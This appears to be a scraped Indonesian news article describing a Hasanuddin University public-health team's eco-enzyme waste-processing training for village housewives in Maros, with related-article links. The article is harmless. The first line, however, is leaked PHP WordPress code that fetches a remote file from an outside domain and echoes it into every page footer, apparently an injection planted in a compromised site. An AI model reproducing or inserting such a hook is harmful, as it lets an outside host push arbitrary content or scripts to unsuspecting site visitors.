function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');FKM Unhas Gelar Pengabdian Masyarakat di Kabupaten Maros, Pelatihan Eco-enzyme sebagai Pengolahan Limbah Domestik - Suluh Nusantara

Home / Uncategorized

Sabtu, 2 November 2024 - 20:46 WIB

FKM Unhas Gelar Pengabdian Masyarakat di Kabupaten Maros, Pelatihan Eco-enzyme sebagai Pengolahan Limbah Domestik

Dalam rangka memperingati Dies Natalis Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin (Unhas) yang ke-43, tim pengabdian masyarakat Departemen Kesehatan Lingkungan mengadakan pelatihan pembuatan eco-enzyme  di Desa Borimasunggu, Kec. Maros Baru, Kab. Maros, pada Sabtu (02/11/2024). Kegiatan ini bertujuan untuk meningkatkan kesadaran dan keterampilan warga dalam mengolah limbah domestik secara ramah lingkungan dan berkelanjutan.

Pelatihan ini dihadiri oleh 4 orang dosen pendamping, 10 orang mahasiswa, Kepala desa, serta 20 orang ibu rumah tangga.  Basir, SKM,. M.Sc selaku salah satu dosen pendamping, menyatakan bahwa pelatihan ini perlu diadakan kepada masyarakat khususnya ibu rumah tangga agar sampah dapur dapat diolah dengan maksimal.

“Pelatihan eco-enzyme diharapkan mampu meningkatkan kemampuan masyarakat dalam mengolah limbah domestik menjadi sesuatu yang lebih bermanfaat, manfaat eco-enzyme yang bisa menggantikan peran sebagian besar kebutuhan rumah tangga diharapkan dapat dirasakan oleh masyarakat desa Borimasunggu” ucap Dr. Agus Bintara Birawida selaku Koordinator tim.

Proses pembuatan eco-enzyme dari sisa sayuran dan buah-buahan dinilai efektif dalam mengurangi sampah organik rumah tangga. Selain ramah lingkungan, eco-enzyme juga memiliki manfaat kesehatan karena dapat membantu mengurangi potensi pencemaran udara dan air akibat limbah domestik. Dengan begitu, eco-enzyme diharapkan dapat memberikan manfaat yang lebih luas bagi masyarakat, baik dalam menjaga kebersihan lingkungan maupun meningkatkan kualitas hidup melalui pengelolaan limbah yang lebih baik.

Baca Juga  Mahasiswa PBL I Posko Congko Menghadiri Rembuk Stunting Sebagai Bentuk Dukungan Terhadap Komitmen Desa Congko Dalam Pencegahan dan Penanganan Stunting

Kegiatan ini diawali dengan pengerjaan pre-test, kemudian dilanjutkan dengan pemberian materi dan praktek pembuatan eco-enzyme, serta diakhiri dengan post-test untuk mengukur sejauh mana pemahaman para peserta setelah mengikuti pelatihan.

Kegiatan ini mendapat sambutan positif dari masyarakat setempat. “Kami sangat senang dengan kedatangan mahasiswa sekalian dalam rangka membawakan pelatihan eco-enzyme kepada ibu rumah tangga di desa kami.  Semoga ilmu yang diberikan dapat diterapkan oleh masyarakat, agar sampah dapur dapat diolah menjadi sesuatu yang bernilai ekonomis”. Ujar Syamsul Rijal selaku kepala desa.

Pelatihan eco-enzyme ini sejalan dengan tujuan Sustainable Development Goals (SDGs), terutama SDG 3 (Kesehatan dan Kesejahteraan yang Baik) dan SDG 6 (Air Bersih dan Sanitasi Layak). Eco-enzyme, yang dibuat dari sisa sayuran dan buah-buahan, memiliki banyak manfaat lingkungan dan kesehatan. Penggunaan eco-enzyme membantu meminimalkan sampah organik rumah tangga yang berpotensi menjadi sumber pencemaran udara, tanah, dan air. Dengan mengurangi emisi gas berbahaya dari sampah organik yang terurai, eco-enzyme berkontribusi pada kualitas udara yang lebih baik, mendukung SDG 3 dalam hal menciptakan lingkungan sehat dan meningkatkan kesejahteraan masyarakat.

Baca Juga  Sukseskan PBL 1, Mahasiswa Posko Kelurahan Ujung Laksanakan Seminar Akhir Bahas Prioritas Masalah Kesehatan

Di sisi lain, eco-enzyme juga memiliki peran dalam menjaga kualitas air yang bersih. Sebagai pembersih alami, eco-enzyme membantu meminimalkan pencemaran air dari limbah domestik, mendukung tujuan SDG 6 yang bertujuan untuk menyediakan air bersih dan sanitasi yang layak bagi semua orang. Dengan memanfaatkan eco-enzyme, masyarakat turut mengurangi penggunaan bahan kimia dalam produk pembersih yang sering kali berakhir mencemari saluran air. Proses ini mendukung kesehatan ekosistem perairan dan menjamin air yang lebih aman untuk dikonsumsi, tidak hanya bagi manusia, tetapi juga bagi keberlanjutan kehidupan flora dan fauna air.

Melalui pelatihan ini, diharapkan semakin banyak masyarakat yang terlibat dalam upaya melestarikan lingkungan, serta memahami pentingnya pengelolaan limbah yang bertanggung jawab. Kami juga ingin mengucapkan terima kasih yang sebesar-besarnya kepada semua peserta pelatihan eco-enzyme ini. Semoga langkah kecil ini menjadi awal perubahan besar menuju kehidupan yang lebih sehat dan lingkungan yang lebih bersih, serta menjadi inspirasi bagi lebih banyak orang untuk menjalankan pola hidup yang lebih ramah lingkungan.

Share :

Baca Juga

Uncategorized

Aksi Nyata Mahasiswa Praktik Belajar Lapangan III FKM UNHAS: Evaluasi Penyuluhan Anemia dan Buku Saku di Desa Kalimporo

Uncategorized

FKM UNHAS Gelar Screening Kesehatan dan Pembekalan PBL 3 untuk Mahasiswa

Uncategorized

Identifikasi Permasalahan Kesehatan dan Lingkungan melalui Focus Group Discussion (FGD) Bersama Kader Posyandu dan Masyarakat Kelurahan Manorang Salo

Uncategorized

Workshop Pemutakhiran RPS Departemen Kesehatan Lingkungan untuk Meningkatkan Kualitas Pendidikan di FKM Universitas Hasanuddin

Uncategorized

Penerimaan Mahasiswa KKN Tematik Unhas Gelombang 114 di Kecamatan Malangke Kabupaten Luwu Utara dengan tema Ketahanan Pangan dan Kebencanaan

Uncategorized

“Posko 24 PBL II FKM UNHAS Sosialisasikan Pentingnya Tablet Tambah Darah dengan Metode TGT di MTs Borongtala”

Uncategorized

Transformasi Kesehatan Lansia: Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Hadirkan Edukasi Peningkatan Pengetahuan tentang Hipertensi di Puskesmas Pampang

Uncategorized

PRIMA : Program Edukasi Air Limbah Dan Langkah Pembuatan Saluran Pembuangan Air Limbah (SPAL) Rumah Tangga Sederhana yang diselenggarakan oleh Mahasiswa FKM Unhas Posko 27 di Desa Turatea, Kabupaten Jeneponto.